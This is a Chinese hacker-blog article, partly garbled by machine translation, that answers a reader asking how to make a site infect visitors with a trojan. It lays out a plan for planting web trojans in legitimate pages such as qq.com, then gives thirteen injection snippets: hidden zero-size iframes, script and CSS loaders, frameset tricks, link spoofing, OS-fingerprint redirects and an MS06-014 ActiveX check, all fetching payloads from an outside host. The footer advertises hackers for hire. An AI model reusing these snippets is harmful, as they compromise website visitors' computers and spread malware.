镜像劫持、网马详细介绍

hacker5年前 (2020-06-02)黑客文章812

今日，有一位网民问了我一个难题，他自己早已拥有网址了，如今他想制成“镜像劫持”这类网址，要是开启它，电脑上就会有将会感柒木马程序。

木马病毒是必须开启才有实际效果的，开启标准：要不蒙骗客户积极，要不运用系统漏洞。将会他对木马病毒、镜像劫持、网马这种并不是很了解，因而我刻意发过此一篇文章。

一、镜像劫持、网马详细介绍

1、镜像劫持

从“镜像劫持”这个词中就了解，它和“木马病毒”摆脱不上关联，确实，镜像劫持的目地便是将木马病毒散播出来。

黑客攻击了一些网址以后，将自身编定的网页木马置入到其网址的网页页面（一般是在网址首页）中，运用该网址的总流量将自身的网页木马散播出来进而做到自身的目地。

2、网马

网马，即“网页木马”，便是将木马病毒和网页页面融合在一起，当打开网站的情况下便会自动下载并运作其恶意代码。

二、网页木马运作基本原理

最开始的网页木马便是运用了IE电脑浏览器的ActiveX控制，在运作网页木马的情况下会弹出来一个控件下载提醒，仅有历经客户确定后才会运作在其中的木马病毒。

现阶段新式的木马病毒一般运用IE电脑浏览器存有的系统漏洞来散播网页木马。

自然，如今电脑浏览器不仅就是指IE，也有许多其他的电脑浏览器，比如：Google、百度搜索、360、搜狗搜索、 *** 、火狐浏览器......这些。

三、网页页面镜像劫持流程

1、申请办理服务器空间：将恶意代码和网马所有上传入该服务器空间，使其能够被浏览，倘若申请办理取得成功后的服务器空间详细地址为“http://www.xxx.com/xxx”；

2、提交恶意代码：提交进行后木马病毒的浏览详细地址为“http://www.xxx.com/horse.exe”；

3、应用网页页面木马生成器转化成网马：倘若转化成后网马详细地址为“http://www.xxx.com/horse.htm”；

4、开展镜像劫持：将转化成后的网马详细地址置入到别的一切正常的网页页面，倘若置入到腾迅的首页“http://www.qq.com/index.htm”；

四、网页页面镜像劫持的完成 ***

1、架构镜像劫持

<iframe src=详细地址 width=0 height=0></iframe>

2、 *** 文档镜像劫持

更先将下列编码：

document.write("<iframe width='0' height='0' src='详细地址'></iframe>");

储存为xxx.js。

则 *** 镜像劫持编码为：

<script language=javascript src=xxx.js></script>

3、 *** 形变数据加密

<SCRIPT language=" *** cript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改为随意后缀名；

4、body镜像劫持

<body onload="window.location='详细地址';"></body>

5、隐敝镜像劫持

top.document.body.innerHTML = top.document.body.innerHTML   '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css镜像劫持

body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA镜像劫持

<SCRIPT language=javascript>
window.open ("详细地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

8、照片掩藏

<html>
<iframe src="网马详细地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

9、掩藏启用

<frameset rows="444,0" cols="*">
<frame src="打开网站" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马详细地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

10、高級蒙骗

<a href="http://www.163.com(蒙蔽联接详细地址，显示信息这一详细地址偏向木马病毒详细地址)" onMouseOver="www_163_com(); return true;"> 网页页面要显示信息的內容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马详细地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

11、分辨系统软件编码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>

12、分辨是不是有ms06014编码

<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>

13、智能化载入js的编码demo

//读娶src的目标
var v = document.getElementById("advjs");
//读娶src的主要参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/" u_num ".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//剖析src的主要参数涵数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i  ){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;

标签: 黑客技术

返回列表

上一篇：GDB或GNUProject程序调试

下一篇：黑客是怎么找网站的,点开了黑客网站

黑客常用的DOS命令

一，ping 　　它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的...

Nmap是用以端口扫描器,服务项目检验,乃至是漏洞检测等多种

Nmap是用以端口扫描器，服务项目检验，乃至是漏洞检测等多种多样作用的强劲专用工具。Nmap从新手入门到高級遮盖了很多基本的定义和指令，在本文的第二一部分，我将谈及Nmap一些高級的技术性。 &nb...

改名字找黑客（黑客技术接单）

改名字怎么找黑客 1、接单黑客害群之马。改名字技术接单0。学校机子配置都那样。这其中肯定有不少电脑里存着重要资料愿意花钱赎回的。寻找黑客还碰见了，一次意外，该影片于2007年11月21日在美国上映，黑...

PasswordSafe的典型性主要用途是啥?

什么叫Password Safe？ Password Safe是一个开源系统的登陆密码数据库工具。客户能够根据应用或键入单独“主密匙”来信息保密登陆密码并将其开启。 Password...

Grendel扫描仪是完全免费的吗?

什么叫Grendel Scan？我们不彻底明确该新项目是不是依然适用，但我们知道的是，依然可以下载的版本号容许对Web程序运行开展全自动安全性扫描仪。Grendel-Scan的很多作用也可用以手动...

XSS技术专业表述

先给大伙说一下XSS的技术专业表述吧！什么叫XSS进攻？每每程序运行的新网页页面中包括不会受到信赖的、未历经适当认证或转义的数据信息，或是应用能够建立JavaScript 的电脑浏...

找黑客平台